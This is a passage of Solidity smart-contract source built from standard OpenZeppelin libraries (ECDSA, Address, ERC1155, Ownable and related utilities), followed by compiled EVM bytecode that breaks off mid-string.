the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return recover(hash, r, vs); } else { revert("ECDSA: invalid signature length"); } } /** * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates weither any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_mint}. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual override { super._mint(account, id, amount, data); _totalSupply[id] += amount; } /** * @dev See {ERC1155-_mintBatch}. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._mintBatch(to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } /** * @dev See {ERC1155-_burn}. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual override { super._burn(account, id, amount); _totalSupply[id] -= amount; } /** * @dev See {ERC1155-_burnBatch}. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual override { super._burnBatch(account, ids, amounts); for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x6080604052600436106101f85760003560e01c80638af994fd1161010d578063d6ade1e7116100a0578063f242432a1161006f578063f242432a146105d8578063f2f61d59146105f8578063f2fde38b1461060d578063f3c58d821461062d578063f7cb7e571461065a57600080fd5b8063d6ade1e714610535578063d874cf9614610548578063de97536b14610567578063e985e9c51461058f57600080fd5b8063b658b60f116100dc578063b658b60f146104c0578063b9d2f009146104e0578063bd85b039146104f5578063d31969e81461052257600080fd5b80638af994fd146104315780638da5cb5b14610446578063a22cb46514610478578063b08da3421461049857600080fd5b806338ce1d3411610190578063539948ec1161015f578063539948ec146103a757806355f804b3146103c75780636c19e783146103e7578063715018a6146104075780637ca45d9e1461041c57600080fd5b806338ce1d34146103215780633ccfd60b146103365780634e1273f41461034b5780634f558e791461037857600080fd5b80630d5cc340116101cc5780630d5cc3401461028b5780630e89341c146102b8578063144b289f146102e55780632eb2c2d6146102ff57600080fd5b8062fdd58e146101fd57806301ffc9a7146102305780630270fdb4146102605780630cf64bbb14610276575b600080fd5b34801561020957600080fd5b5061021d610218366004612167565b610670565b6040519081526020015b60405180910390f35b34801561023c57600080fd5b5061025061024b3660046121a7565b61070a565b6040519015158152602001610227565b34801561026c57600080fd5b5061021d61022b81565b34801561028257600080fd5b5061021d600081565b34801561029757600080fd5b5061021d6102a63660046121cb565b60096020526000908152604090205481565b3480156102c457600080fd5b506102d86102d33660046121e6565b61075a565b6040516102279190612257565b3480156102f157600080fd5b506006546102509060ff1681565b34801561030b57600080fd5b5061031f61031a3660046123b6565b61078e565b005b34801561032d57600080fd5b5061021d603381565b34801561034257600080fd5b5061031f610825565b34801561035757600080fd5b5061036b610366366004612460565b610934565b6040516102279190612566565b34801561038457600080fd5b506102506103933660046121e6565b600090815260036020526040902054151590565b3480156103b357600080fd5b5061031f6103c23660046121e6565b610a5e565b3480156103d357600080fd5b5061031f6103e2366004612579565b610a8d565b3480156103f357600080fd5b5061031f6104023660046121cb565b610ac8565b34801561041357600080fd5b5061031f610b14565